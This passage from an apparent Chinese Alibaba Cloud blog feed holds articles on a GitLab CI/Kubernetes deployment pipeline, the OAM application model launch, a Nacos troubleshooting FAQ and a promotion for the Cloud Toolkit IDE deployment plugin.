        18. variables:
        19. DOCKER_IMAGE_NAME: ${DOCKER_REGISTRY_PREFIX}/${CI_PROJECT_PATH}:${CI_COMMIT_REF_SLUG}-${CI_COMMIT_SHORT_SHA}
        20. only:
        21. - /^testing/
        22. - master
        23. build-prod:
        24. extends: .build-op
        25. variables:
        26. DOCKER_IMAGE_NAME: ${DOCKER_REGISTRY_PREFIX}/${CI_PROJECT_PATH}:${CI_COMMIT_TAG}
        27. only:
        28. - tags

        在这边,由于 build 阶段中测试环境和生产环境进行镜像打包时基本操作时是相同的,都是根据 Dockerfile 进行镜像的 build 和镜像仓库的上传。这里用到了一个 extend 参数,可以减少重复的 Job 描述,使得描述更加地简洁清晰。

        我们先定义一个 .build-op 的 Job,然后 build-test 和 build-prod 都通过 extend 进行继承,可以通过定义关键字来新增或覆盖 .build-op 中的配置。比如 build-prod 重新定义了变量( variables)DOCKER_IMAGE_NAME以及触发条件(only)更改为了打 tag 。

        这边我们还需要注意到的是在定义 DOCKER_IMAGE_NAME 时,我们引用了 GitLab CI 自身的一些变量,比如 CI_COMMIT_TAG 表示项目的 commit 的 tag 名称。我们在定义 Job 变量时,可能会引用到一些 GitLab CI 自身变量,关于这些变量的说明可以参考 GitLab CI/CD Variables 中文文档。

        deploy stage:

        1. # Deploy stage
        2. .deploy-op:
        3. stage: deploy
        4. image: docker.vpgame.cn/infra/docker-kubectl-1.0
        5. script:
        6. - echo "Image name:" ${DOCKER_IMAGE_NAME}
        7. - echo ${APP_NAME}
        8. - sed -i "s~__NAMESPACE__~${NAMESPACE}~g" deployment.yml service.yml
        9. - sed -i "s~__APP_NAME__~${APP_NAME}~g" deployment.yml service.yml
        10. - sed -i "s~__PROJECT_NAME__~${CI_PROJECT_NAME}~g" deployment.yml
        11. - sed -i "s~__PROJECT_NAMESPACE__~${CI_PROJECT_NAMESPACE}~g" deployment.yml
        12. - sed -i "s~__GROUP_NAME__~${GROUP_NAME}~g" deployment.yml
        13. - sed -i "s~__VERSION__~${VERSION}~g" deployment.yml
        14. - sed -i "s~__REPLICAS__~${REPLICAS}~g" deployment.yml
        15. - kubectl apply -f deployment.yml
        16. - kubectl apply -f service.yml
        17. - kubectl rollout status -f deployment.yml
        18. - kubectl get all,ing -l app=${APP_NAME} -n $NAMESPACE
        19. # Deploy test environment
        20. deploy-test:
        21. variables:
        22. REPLICAS: 2
        23. VERSION: ${CI_COMMIT_REF_SLUG}-${CI_COMMIT_SHORT_SHA}
        24. extends: .deploy-op
        25. environment:
        26. name: test
        27. url: http://example.com
        28. only:
        29. - /^testing/
        30. - master
        31. tags:
        32. - base-runner
        33. # Deploy prod environment
        34. deploy-prod:
        35. variables:
        36. REPLICAS: 3
        37. VERSION: ${CI_COMMIT_TAG}
        38. extends: .deploy-op
        39. environment:
        40. name: prod
        41. url: http://example.com
        42. only:
        43. - tags
        44. tags:
        45. - pro-deploy

        与 build 阶段类似,先先定义一个 .deploy-op 的 Job,然后 deploy-test 和 deploy-prod 都通过 extend 进行继承。

        .deploy-op 主要完成了对 Kubernetes Deployment 和 Service 模板文件的一些变量的替换,以及根据生成的 Deployment 和 Service 文件进行 Kubernetes 服务的部署。

        deploy-test 和 deploy-prod 两个 Job 定义了不同变量(variables)以及触发条件(only)。除此之外, deploy-prod 通过 tags 关键字来使用不同的 Runner,将部署的目标集群指向给生产环境的 Kubernetes。

        这里还有一个关键字 environment 需要特别说明,在定义了 environment 之后,我们可以在 GitLab 中查看每次部署的一些信息。除了查看每次部署的一些信息之外,我们还可以很方便地进行重新部署和回滚。

        image

        可以看到,通过对 Job 的关键字进行配置,我们可以灵活地编排出我们所需要的 CI/CD 流程,非常好地满足多样化的场景。

        Deployment 与 Service 配置

        在 CI/CD 流程中完成 Docker 镜像的打包任务之后需要将服务所对应的镜像部署到 Kubernetes 集群中。Kubernetes 提供了多种可以编排调度的资源对象。首先,我们简单了解一下 Kubernetes 中的一些基本资源。

        Kubernetes 基本资源对象概览

        Pod

        Pod 作为无状态应用的运行实体是其中最常用的一种资源对象, Kubernetes 中资源调度最小的基本单元,它包含一个或多个紧密联系的容器。这些容器共享存储、网络和命名空间,以及如何运行的规范。

        在 Kubernetes 中, Pod 是非持久的,会因为节点故障或者网络不通等情况而被销毁和重建。所以我们在 Kubernetes 中一般不会直接创建一个独立的 Pod,而是通过多个 Pod 对外提供服务。

        ReplicaSet

        ReplicaSet 是 Kubernetes 中的一种副本控制器,控制由其管理的 Pod,使 Pod 副本的数量维持在预设的个数。ReplicaSets 可以独立使用,但是在大多数场景下被 Deployments 作为协调 Pod 创建,删除和更新的机制。

        Deployment

        Deployment 为 Pod 和 ReplicaSet 提供了一个声明式定义方法。通过在 Deployment 中进行目标状态的描述,Deployment controller 会将 Pod 和 ReplicaSet 的实际状态改变为所设定的目标状态。Deployment 典型的应用场景包括:

        • 定义 Deployment 来创建 Pod 和 ReplicaSet
        • 滚动升级和回滚应用
        • 扩容和缩容
        • 暂停和继续 Deployment

        Service

        在 Kubernetes 中,Pod 会被随时创建或销毁,每个 Pod 都有自己的 IP,这些 IP 也无法持久存在,所以需要 Service 来提供服务发现和负载均衡能力。Service 是一个定义了一组 Pod 的策略的抽象,通过 Label Selector 来确定后端访问的 Pod,从而为客户端访问服务提供了一个入口。每个 Service 会对应一个集群内部的 ClusterIP,集群内部可以通过 ClusterIP 访问一个服务。如果需要对集群外部提供服务,可以通过 NodePort 或 LoadBalancer 方式。

        deployment.yml 配置

        deployment.yml 文件用来定义 Deployment。首先通过一个简单的 deployment.yml 配置文件熟悉 Deployment 的配置格式。

        image

        上图中 deployment.yml 分为8个部分,分别如下:

        1. apiVersion 为当前配置格式的版本
        2. kind 指定了资源类型,这边当然是 Deployment
        3. metadata 是该资源的元数据,其中 name 是必需的数据项,还可以指定 label 给资源加上标签
        4. spec 部分是该 Deployment 的规格说明
        5. spec.replicas 指定了 Pod 的副本数量
        6. spec.template 定义 Pod 的基本信息,通过 spec.template.metadata 和 spec.template.spec 指定
        7. spec.template.metadata 定义 Pod 的元数据。至少需要定义一个 label 用于 Service 识别转发的 Pod, label 是通过 key-value 形式指定的
        8. spec.template.spec 描述 Pod 的规格,此部分定义 Pod 中每一个容器的属性,name 和 image 是必需项

        在实际应用中,还有更多灵活个性化的配置。我们在 Kubernetes 的部署实践中制定了相关的规范,在以上基础结构上进行配置,得到满足我们实际需求的 deployment.yml 配置文件。

        在 Kubernetes 的迁移实践中,我们主要在以下方面对 Deployment 的配置进行了规范的约定:

        文件模板化

        首先我们的 deployment.yml 配置文件是带有变量的模版文件,如下所示:

        1. apiVersion: apps/v1beta2
        2. kind: Deployment
        3. metadata:
        4. labels:
        5. app: __APP_NAME__
        6. group: __GROUP_NAME__
        7. name: __APP_NAME__
        8. namespace: __NAMESPACE__

        APPNAME__、__GROUPNAMENAMESPACE 这种形式的变量都是在 CI/CD 流程中会被替换成 GitLab 每个 project 所对应的变量,目的是为了多了 project 用相同的 deployment.yml 文件,以便在进行 Kubernetes 迁移时可以快速复制,提高效率。

        服务名称

        • Kubernetes 中运行的 Service 以及 Deployment 名称由 GitLab 中的 groupname 和 projectname 组成,即 {{groupname}}-{{projectname}},例:microservice-common。此名称记为 app_name,作为每个服务在 Kubernetes 中的唯一标识。这些变量可以通过 GitLab-CI 的内置变量中进行获取,无需对每个 project 进行特殊的配置。
        • Lables 中用于识别服务的标签与 Deployment 名称保持一致,统一设置为 app:{{app_name}}。

        资源分配

        节点配置策略,以项目组作为各项目 Pod 运行在哪些 Node 节点的依据,属于同一项目组的项目的 Pod 运行在同一批 Node 节点。具体操作方式为给每个 Node 节点打上形如 group:__GROUP_NAME__ 的标签,在 deployment.yml 文件中做如下设置进行 Pod 的 Node 节点选择:

        1. ...
        2. spec:
        3. ...
        4. template:
        5. ...
        6. spec:
        7. ...
        8. affinity:
        9. nodeAffinity:
        10. requiredDuringSchedulingIgnoredDuringExecution:
        11. nodeSelectorTerms:
        12. - matchExpressions:
        13. - key: group
        14. operator: In
        15. values:
        16. - __GROUP_NAME__
        17. ...

        资源请求大小,对于一些重要的线上应用,limit 和 request 设置一致,资源不足时 Kubernetes 会优先保证这些 Pod 正常运行。为了提高资源利用率。对一些非核心,并且资源不长期占用的应用,可以适当减少 Pod 的 request,这样 Pod 在调度时可以被分配到资源不是十分充裕的节点,提高使用率。但是当节点的资源不足时,也会优先被驱逐或被 oom kill。

        健康检查(Liveness/Readiness)配置

        Liveness 主要用于探测容器是否存活,若监控检查失败会对容器进行重启操作。Readiness 则是通过监控检测容器是否正常提供服务来决定是否加入到 Service 的转发列表接收请求流量。Readiness 在升级过程可以发挥重要的作用,防止升级时异常的新版本 Pod 替换旧版本 Pod 导致整个应用将无法对外提供服务的情况。

        每个服务必须提供可以正常访问的接口,在 deployment.yml 文件配置好相应的监控检测策略。

        1. ...
        2. spec:
        3. ...
        4. template:
        5. ...
        6. spec:
        7. ...
        8. containers:
        9. - name: fpm
        10. livenessProbe:
        11. httpGet:
        12. path: /__PROJECT_NAME__
        13. port: 80
        14. initialDelaySeconds: 3
        15. periodSeconds: 5
        16. readinessProbe:
        17. httpGet:
        18. path: /__PROJECT_NAME__
        19. port: 80
        20. initialDelaySeconds: 3
        21. periodSeconds: 5
        22. ...
        23. ...

        升级策略配置

        升级策略我们选择 RollingUpdate 的方式,即在升级过程中滚动式地逐步新建新版本的 Pod,待新建 Pod 正常启动后逐步 kill 掉老版本的 Pod,最终全部新版本的 Pod 替换为旧版本的 Pod。

        image

        我们还可以设置 maxSurge 和 maxUnavailable 的值分别控制升级过程中最多可以比原先设置多出的 Pod 比例以及升级过程中最多有多少比例 Pod 处于无法提供服务的状态。

        日志配置

        采用 log-tail 对容器日志进行采集,所有服务的日志都上报到阿里云日志服务的一个 log-store中。在 deployment.yml 文件里配置如下:

        1. ...
        2. spec:
        3. ...
        4. template:
        5. ...
        6. spec:
        7. ...
        8. containers:
        9. - name: fpm
        10. env:
        11. - name: aliyun_logs_vpgame
        12. value: stdout
        13. - name: aliyun_logs_vpgame_tags
        14. value: topic=__APP_NAME__
        15. ...
        16. ...

        通过设置环境变量的方式来指定上传的 Logstore 和对应的 tag,其中 name 表示 Logstore 的名称。通过 topic 字段区分不同服务的日志。

        监控配置

        通过在 Deployment 中增加 annotations 的方式,令 Prometheus 可以获取每个 Pod 的业务监控数据。配置示例如下:

        1. ...
        2. spec:
        3. ...
        4. template:
        5. metadata:
        6. annotations:
        7. prometheus.io/scrape: "true"
        8. prometheus.io/port: "80"
        9. prometheus.io/path: /{{ project_name }}/metrics
        10. ...

        其中 prometheus.io/scrape: "true" 表示可以被 Prometheus 获取,prometheus.io/port 表示监控数据的端口,prometheus.io/path 表示获取监控数据的路径。

        service.yml 配置
        service.yml 文件主要对 Service 进行了描述。

        1. apiVersion: v1
        2. kind: Service
        3. metadata:
        4. annotations:
        5. service.beta.kubernetes.io/alicloud-loadbalancer-address-type: intranet
        6. labels:
        7. app: __APP_NAME__
        8. name: __APP_NAME__
        9. namespace: __NAMESPACE__
        10. spec:
        11. ports:
        12. - port: 80
        13. protocol: TCP
        14. targetPort: 80
        15. selector:
        16. app: __APP_NAME__
        17. type: LoadBalancer
          对 Service 的定义相比于 Deoloyment 要简单的多,通过定义 spec.ports 的相关参数可以指定 Service 的对外暴露的端口已经转发到后端 Pod 的端口。spec.selector 则是指定了需要转发的 Pod 的 label。

        另外,我们这边是通过负载均衡器类型对外提供服务,这是通过定义 spec.type 为 LoadBalancer 实现的。通过增加 metadata.annotations 为 service.beta.kubernetes.io/alicloud-loadbalancer-address-type: intranet 可以在对该 Service 进行创建的同时创建一个阿里云内网 SLB 作为对该 Service 请求流量的入口。

        image

        如上图所示,EXTERNAL-IP 即为 SLB 的 IP。

        总结

        在以上工作的基础上,我们对各个服务划分为几类(目前基本上按照语言进行划分),然后为每一类中的服务通过 .gitlab-ci.yml 制定一套统一的 CI/CD 流程,与此相同的,同一类中的服务共用一个 Deployment 和 Service 模板。这样我们在进行服务迁移到 Kubernetes 环境时可以实现快速高效地迁移。

        当然,这只是迁移实践路上迈出的第一步,在 Kubernetes 中的服务的稳定性、性能、自动伸缩等方面还需要更深入地探索和研究。

        ]]>
        重磅发布 | 全球首个云原生应用标准定义与架构模型 OAM 正式开源 Fri, 02 May 2025 09:39:04 +0800 lADPDgQ9rIPIOjrNAdTNA4Q_900_468_jpg_620x10000q90g

        导读:2019 年 10 月 17 日,阿里巴巴合伙人、阿里云智能基础产品事业部总经理蒋江伟(花名:小邪)在 Qcon 上海重磅宣布,阿里云与微软联合推出开放应用模型 Open Application Model (OAM)开源项目。OAM 的愿景是以标准化的方式沟通和连接应用开发者、运维人员、应用基础设施,让云原生应用管理与交付变得更加简洁,高效,并且可控。

        lADPDgQ9rIPIOj3NAoDNA8A_960_640_jpg_620x10000q90g

        OAM 为什么值得关注?

        关注点分离:开发者关注应用本身,运维人员关注模块化运维能力,让应用管理变得更轻松、应用交付变得更可控;
        平台无关与高可扩展:应用定义与平台层实现解耦,应用描述支持任意扩展和跨环境实现;
        模块化应用运维特征:可以自由组合和支持模块化实现的运维特征描述。

        Kubernetes 项目作为容器编排领域的事实标准, 成功推动了诸如阿里云 Kubernetes (ACK)等云原生服务的迅速增长。但同时我们也关注到,Kubernetes 的核心 API 资源比如 Service、Deployment 等,实际上只是应用中的不同组成部分,并不能代表一个应用的全部。也许我们可以通过像 Helm charts 这样的方式来尝试表达一个可部署的应用,可一旦部署起来,实际运行的应用中却依旧缺乏以应用为中心的约束模型。

        这些问题都反映出,Kubernetes 以及云原生技术栈需要一种以应用为中心的 API 资源来提供一个专注于应用管理的、标准的、高度一致的模型,这个 API 资源可以代表完整运行的应用本身,而不仅仅是应用模板或者一个应用的几个组成部分,这就是今天阿里云与微软联合宣布推出开放应用模型 Open Application Model (OAM)的原因。

        项目地址:https://openappmodel.io

        lADPDgQ9rIPIOj7NAjPNBC4_1070_563_jpg_620x10000q90g
        OAM 项目目前由规范和实现两部分组成

        什么是 Open Application Model?

        OAM 是一个专注于描述应用的标准规范。有了这个规范,应用描述就可以彻底与基础设施部署和管理应用的细节分开。这种关注点分离(Seperation of Conerns)的设计好处是非常明显的。

        举个例子,在实际生产环境中,无论是 Ingress,CNI,还是 Service Mesh,这些表面看起来一致的运维概念,在不同的 Kubernetes 集群中可谓千差万别。通过将应用定义与集群的运维能力分离,我们就可以让应用开发者更专注于应用本身的价值点,而不是”应用部署在哪“这样的运维细节。

        此外,关注点的分离让平台架构师可以轻松地把平台的运维能力封装成可被复用的组件,从而让应用开发者能够专注于将这些运维组件与代码进行集成,从而快速、轻松地构建可信赖的应用。Open Application Model 的目标是让简单的应用管理变得更加轻松,让复杂的应用交付变得更加可控。

        一、应用组件(Components)

        在 OAM 中,“应用”是由多个概念共同组合而成的。第一个概念是:应用组件(Components),它是整个应用的重要组成部分。 所以说,应用组件既可以包括应用运行所依赖的服务:比如 MySQL 数据库,也包括应用服务本身:比如拥有多个副本的 PHP 服务器。开发者可以把他们写的代码”打包“成一个应用组件,然后编写配置文件来描述该组件与其他服务之间的关系。
        应用组件的概念,让平台架构师能够将应用分解成一个个可被复用的模块,这种模块化封装应用组成部分的思想,代表了一种构建安全、高可扩展性应用的最佳实践:它通过一个完全分布式的架构模型,实现了应用组件描述和实现的解耦。

        二、应用部署配置文件(Application Configuration)

        而为了将这些应用组件描述变成一个真正运行起来的应用,应用运维人员会通过一个专门的、包含了所有应用组件信息的部署配置文件来实例化这个待运行的应用。 这个配置文件本身也是 OAM 规范中的一个声明式 API,用来让应用运维人员能够根据开发者或者平台提交的应用描述,实例化出对应的、真正运行起来的应用。

        三、应用运维特征(Traits)

        最后一个概念是一组应用运维特征(Traits) ,它们描述了应用在具体部署环境中的运维特征,比如应用的水平扩展的策略和 Ingress 规则,这些特征对于应用的运维来说非常重要,但它们在不同的部署环境里却往往有着截然不同的实现方式。

        举一个简单例子,同样是 Ingress,它在公有云上和本地数据中心的实现可能是完全不同的:前者一般是 SLB 这样的云服务,而后者则可能是一个专门的硬件。这也就意味着针对这两个环境的 Ingress 运维工作,将会有天壤之别。但与此同时,无论是在哪个环境里,这个 Ingress 规则对于应用开发人员来说,可能是完全相同的。

        应用特征的设计,让这种关注点分离成为可能:只要这两个环境在 OAM 模型下提供了对 Ingress 这个应用运维特征的实现,那么你的应用就可以使用统一的 Ingress 规则描述无差别的在这两个地方运行起来。而与此同时,这两个环境的基础设施供应商可以继续通过配置这些应用特征的实现,来满足它们各自的运维要求(例如:不同环境里 Ingress 实现在满足合规性和安全性上的差异)。

        OAM:平台无关、高可扩展的应用描述能力

        与 PaaS 应用模型相比,OAM 有很多独有的特点,其中最重要一点是:平台无关性。虽然我们目前发布的 OAM 实现(rudr)是基于 Kubernetes 的,但 Open Application Model 与 Kubernetes 并没有强耦合。实际上 ,OAM 可以实现到任意平台或运行环境之上,这当然也包括边缘计算与物联网的场景。我们也认同Kubernetes 在很多运行环境中可能并不是最好的选择,或者是像 Serverless 这类用户并不需要关心基础设施复杂性的运行环境。在这些场景下,OAM 都可以提供完全一致的应用管理体验。

        第二个重要的特点是,OAM 的 specification (OAM 规范) 在设计上天然是可扩展的。OAM 不像 PaaS 那样自成封闭体系,也不会通过某种独有的应用管理环境来屏蔽掉底层平台的特点(比如:在 Kubernetes 之上”盖一个大帽子“)。 相反,OAM 使平台层可以通过应用特征系统 (Trait system)来体现平台的特性和差异性。也就是说,只要不同的平台都能够提供应用所需要的某些应用特征 (Trait),开发人员就能轻松地研发跨平台的应用。类似地,哪怕最底层的硬件提供商,也可以通过应用特征系统来体现其平台特性。

        OAM 的整体设计,就是为了避免在平台可移植性中经常发生的“最小公分母”锁定问题。相反,OAM 不但提供了可移植性的能力,它还确保了每个平台有能力去透出独有的特性和用途。OAM 让开发人员可以自由地针对不同平台以标准方式在可移植性和差异化功能之间取得平衡。

        开放的社区与未来

        如今,开放应用模型以及相应的 Kubernetes 实现有了初步的成果,我们感到非常兴奋。OAM 规范是基于 Open Web Foundation 协议进行开发的。我们的目标,从一开始就是让开放应用模型 Open Application Model 成为中立基金会的项目,以便实现开放治理与广泛合作。
        如果您想了解更多信息,请前往开放应用模型项目的GitHub 仓库:OAM specification,以及基于 Kubernetes 的 OAM 标准实现 Rudr 。

        OAM Specification 地址,点击这里
        Rudr 地址,点击这里

        今天 OAM 项目的发布只是迈出的一小步。我们非常期待得到您的反馈,并与大家密切协作,针对 Kubernetes 和任意云环境打造一个简单、可移植、可复用的应用模型。

        ]]>
        Nacos 常见问题及解决方法 Fri, 02 May 2025 09:39:04 +0800 Nacos 开源至今已有一年,在这一年里,得到了很多用户的支持和反馈。在与社区的交流中,我们发现有一些问题出现的频率比较高,为了能够让用户更快的解决问题,我们总结了这篇常见问题及解决方法,这篇文章后续也会合并到 Nacos 官网的 FAQ 里。

        如何依赖最新的 Nacos 客户端?

        很多用户都是通过 Spring Cloud Alibaba 或者 Dubbo 依赖的 Nacos 客户端,那么 Spring Cloud Alibaba 和 Dubbo 中依赖的 Nacos 客户端版本,往往会落后于 Nacos 最新发布的版本。在一些情况下,用户需要强制将 Nacos 客户端升级到最新,此时却往往不知道该升级哪个依赖,这里将 Spring Cloud Alibaba 和 Dubbo 的依赖升级说明如下:

        Spring Cloud Alibaba

        用户通常是配置以下Maven依赖来使用的 Nacos:

        <!--Nacos Discovery-->
        <dependency>
             <groupId>com.alibaba.cloud</groupId>
             <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId>
             <version>[latest version]</version>
         </dependency>
        
        <!--Nacos Config-->
        <dependency>
             <groupId>com.alibaba.cloud</groupId>
             <artifactId>spring-cloud-starter-alibaba-nacos-config</artifactId>
             <version>[latest version]</version>
         </dependency>

        这两个 JAR 包实际上又依赖了以下的 JAR 包:

        <dependency>
          <groupId>com.alibaba.nacos</groupId>
          <artifactId>nacos-client</artifactId>
          <version>[a particular version]</version>
        </dependency>

        如果 nacos-client 升级了,对应的 spring-cloud 客户端版本不一定也同步升级,这个时候可以采用如下的方式强制升级 nacos-client(以 nacos-discovery 为例):

        <dependency>
             <groupId>com.alibaba.cloud</groupId>
             <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId>
             <version>[latest version]</version>
             <excludes>
                  <exclude>
                         <groupId>com.alibaba.nacos</groupId>
                         <artifactId>nacos-client</artifactId>
                  </exclude>
             </excludes>
         </dependency>
        
        <dependency>
          <groupId>com.alibaba.nacos</groupId>
          <artifactId>nacos-client</artifactId>
          <version>[latest version]</version>
        </dependency>

        Dubbo

        Dubbo 也是类似的道理,用户通常引入的是以下的依赖:

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>dubbo-registry-nacos</artifactId>
            <version>[latest version]</version>
        </dependency>
            
        <!-- Dubbo dependency -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>dubbo</artifactId>
            <version>[latest version]</version>
        </dependency>

        需要升级 Nacos 客户端时,只需要如下修改依赖:

         <dependency>
          <groupId>com.alibaba.nacos</groupId>
          <artifactId>nacos-client</artifactId>
          <version>[latest version]</version>
        </dependency>

        客户端 CPU 高,或者内存耗尽的问题

        问题的现象是依赖 Nacos 客户端的应用,在运行一段时间后出现 CPU 占用率高,内存占用高甚至内存溢出的现象,可以参考 Issue

        这种情况首先要做的是分析 CPU 高或者内存占用高的原因,常用的命令有 top、jstack、jmap、jhat 等。其中一种情况是 Nacos 客户端实例在 Spring Cloud Alibaba 服务框架中被反复构造了多次,可以参考 Issue

        这个问题已经得到了修复,预期会在下个 Spring Cloud Alibaba 版本中发布。

        日志打印频繁的问题

        在老的 Nacos 版本中,往往会有大量的无效日志打印,这些日志的打印会迅速占用完用户的磁盘空间,同时也让有效日志难以查找。目前社区反馈的日志频繁打印主要有以下几种情况:
        1、access 日志大量打印,相关 Issue 点击这里

        主要表现是 {nacos.home}/logs/access_log.2019-xx-xx.log 类似格式文件名的日志大量打印,而且还不能自动清理和滚动。这个日志是 Spring Boot 提供的 Tomcat 访问日志打印,Spring Boot 在关于该日志的选项中,没有最大保留天数或者日志大小控制的选项。因此这个日志的清理必须由应用新建 Crontab 任务来完成,或者通过以下命令关闭日志的输出(在生产环境我们还是建议开启该日志,以便能够有第一现场的访问记录):

        server.tomcat.accesslog.enabled=false

        2、服务端业务日志大量打印且无法动态调整日志级别。这个问题在 1.1.3 已经得到优化,可以通过 API 的方式来进行日志级别的调整,调整日志级别的方式如下:

        # 调整naming模块的naming-raft.log的级别为error:
        curl -X PUT '$nacos_server:8848/nacos/v1/ns/operator/log?logName=naming-raft&logLevel=error'
        # 调整config模块的config-dump.log的级别为warn:
        curl -X PUT '$nacos_server:8848/nacos/v1/cs/ops/log?logName=config-dump&logLevel=warn'

        3、客户端日志大量打印,主要有心跳日志、轮询日志等。这个问题已经在 1.1.3 解决,请升级到 1.1.3 版本。

        集群管理页面,Raft Term 显示不一致问题

        在 Nacos 1.0.1 版本中,Nacos 控制台支持了显示当前的集群各个机器的状态信息。这个功能受到比较多用户的关注,其中一个被反馈的问题是列表中每个节点的集群任期不一样。如下图所示,图片信息来自 Issue

        lALPDgQ9rIgv_sPNAafNBQA_1280_423_png_620x10000q90g

        对于这个任期不一致的问题,原因主要是因为获取这个信息的逻辑有一些问题,没有从对应的节点上获取集群任期。这个问题会在下一个 Nacos 版本中修复。目前一个手动检查集群任期的办法是在每个节点上执行以下命令:

        curl '127.0.0.1:8848/nacos/v1/ns/raft/state'

        然后在返回信息中查找本节点的集群任期。因为每个节点返回的集群任期中,只有当前节点的信息是准确的,返回的其他节点的信息都是不准确的。

        本文作者:朱鹏飞,Github ID @nkorange,Nacos 开源负责人,阿里巴巴云原生应用平台技术专家。

        ]]>
        免费| K8s 支持 “一键部署” 功能 【邀请排位赛】 Fri, 02 May 2025 09:39:04 +0800 【邀请排位赛】10月24日程序员节,发福利啦!!!
        • 10月24日当天,每邀请一位伙伴成功下载安装插件,就可以获得一次抽奖机会;邀请两位及以上,立即获得奖品,奖品为指尖陀螺/淘公仔,多邀多得![礼物]
        • 另外,邀请排位赛为期一个月,累计邀请人数只要超过5个(含),就一定能获得以下任一奖品:天猫精灵、电动牙刷、双肩包、随身杯以及数个小礼物。
        • 最终的获奖名单和对应的邀请数量都将公示在社群里面。(按照平时经验,得奖几率极高!!!)
        • 如何邀请:https://help.aliyun.com/document_detail/126582.html

        加群了解活动详细:

        微信扫码,产品经理拉你进群

        钉钉扫码进群

        随着互联网时代的不断发展,开发者可能会面临这样的困境:为了解决问题、提升开发效率而竭力研发出来的“创新”,似乎削弱了他们在公司的重要程度,甚至取代了他们原先的地位。比如,在云原生时代,部分企业更愿意选择 K8s 来解决运维、弹性的问题,而不是组建一支需要耗费大量雇佣资金、管理资金的研发团队。

        对于 K8s,它的价值在于不仅能帮助公司降低运维成本,同时还可以带来弹性、敏捷、可移植能力,但是对于开发者而言,我们的价值不应该仅仅停留在能与 K8s 解决同样的问题,而是从困境跳脱出来,思考如何更灵活、更高效地运用 K8s 这些 “能为你所用” 的东西,来提升自己的综合技能。

        涉及开发的技术人员,永远绕不开的就是将应用部署到相应服务器上,今天给大家讲解,对于容器服务 K8s,怎么实现真正“一键部署“,提高开发部署效率,在 K8s 的运用上做到快人一步。以下是本文提纲:

        转发本文章,即可抽奖,详情见文末。

        • 什么是容器服务 K8s
        • 如何实现”一键部署“到容器服务 K8s
        • 如何实现”一键部署“到 host,开发部署提速 8 倍

        一、 什么是容器服务 K8s

        容器服务 K8s 是基于原生 K8s 进行适配和增强,简化集群的搭建和扩容等工作,提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理,整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。其中的核心功能为:

        • 集群管理:灵活的地域和网络环境选择,可以根据自己的需求,选择不同的地域创建和删除集群。
        • 多种服务器托管方式:支持授权容器服务创建云服务器加入到指定集群,支持将已购买的云服务器添加到指定集群。
        • 一站式容器生命周期管理:包括网络、存储、日志、监控、调度、路由、权限。
        • 灵活扩展调度策略,轻松打通上下游交付流程:支持服务级别的亲和性策略和横向扩展、跨 AZ 高可用和灾难恢复、集群和应用管理的 OpenAPI,轻松对接持续集成和私有部署系统。

        二、如何实现”一键部署“到容器服务 K8s

        提高开发部署的效率有很多种方法,今天给大家分享的是一款本地 IDE 插件——Cloud Toolkit,据说是开发者用得最多的插件之一,不仅能够将代码开发到最终部署这整个流程自动化,更是可以部署到任意服务器 & 云端(ECS、EDAS、K8s 和小程序云等),而且附带很多功能:Arthas 诊断、Dubbo工具、Terminal 终端、文件上传和 MySQL 执行器等,最重要的一点是:免费!免费!免费!网上很多博客、技术网站、公众号都有相关的测评,大家可以参考看看,或者自己安装试用,一定要试用【一键部署】的功能!下面介绍,如何借助这个插件,将应用一键部署到容器服务 k8s 上。

        (一)安装插件

        免费插件链接:https://www.aliyun.com/product/cloudtoolkit

        (二)配置插件首选项

        点击:顶部菜单Tools --> Alibaba Cloud Toolkit --> Preferences-->左边列表的 Alibaba Cloud Toolkit--> Accounts ,出现如下界面,配置阿里云账号的 AK 和 SK,即可完成首选项配置。(如果是子账号,则填写子账号的 AK 和 SK)

        (三)设置本地 Docker 镜像打包

        点击:顶部菜单Tools --> Alibaba Cloud Toolkit --> Preferences --> 左边列表的 Alibaba Cloud Toolkit --> Docker,如下图,设置本地 Docker 镜像打包。

        (三)部署应用

        在 Intellij IDEA 中,鼠标右键项目工程名,在出现的菜单中点击 Alibaba Cloud --> Deploy to CS Kubernetes...,出现如下部署窗口:

        第一步:设置 Image

        • 在 Image 标签页中,选择本地应用程序的 Context Directory 和 Dockerfile (通常会根据您本地的应用工程自动识别并设置)。
        • 选择容器镜像服务的地域、命名空间和镜像仓库,然后单击 Container 标签页。

        (说明:如果您还没有镜像仓库,在对话框右上角单击 Create a new repository 跳转到容器镜像仓库创建镜像仓库,创建步骤请参考容器镜像仓库文档。)

        第二步:设置 Container

        • 在 Container 标签页,选择容器服务 Kubernetes 的 Deployment(部署)、Clusters(集群)和Namespace(命名空间) 。
        • 选择指定的 Container(容器)。

        (说明:如果您还没有创建容器服务 Kubernetes 的 Deployment,在对话框右上角单击 Create a new Kubernetes deployment,跳转到容器服务 Kubernetes 控制台创建 Deployment,创建步骤请参考容器服务 Kubernetes 版文档。)

        第三步:执行部署

        点击 Run 按钮之后,即可完成本地应用程序向容器服务 Kubernetes 的部署。

        三、如何实现”一键部署“到 host,开发部署提速 8 倍

        这款插件可以将应用部署到 6 种服务器上,分别是:

        下面为大家详细解说,如何将应用一键部署到 host。

        第一步:添加服务器

        • 点击:顶部菜单 Tools --> Alibaba Cloud --> Alibaba Cloud View --> Host ,打开机器视图界面,如下图:

        • 点击:右上角 Add Host 按钮,出现添加机器界面,如下图,设置相关配置。

        第二步:执行部署

        在 IntelliJ IDEA 中,鼠标右键项目工程名,在出现的菜单中点击 Alibaba Cloud --> Deploy to Host...,会出现如下部署窗口,设置部署参数,然后单击 Deploy,即可执行初次部署。

        部署参数说明:

        1. Deploy File:部署文件包含两种方式:
        • Maven Build:如果当前工程采用 Maven 构建,可以使用 Cloud Toolkit 直接构建并部署。
        • Upload File:如果当前工程并非采用 Maven 构建,或者本地已经存在打包好的部署文件,可以选择并直接上传本地的部署文件。
        1. Target Deploy host:在下拉列表中选择 Tag,然后选择要部署的服务器。
        2. Deploy Location :输入在 ECS 上部署路径,如 /root/tomcat/webapps。
        3. Commond:输入应用启动命令,如 sh /root/restart.sh。表示在完成应用包的部署后,需要执行的命令 —— 对于 Java 程序而言,通常是一句 Tomcat 的启动命令。

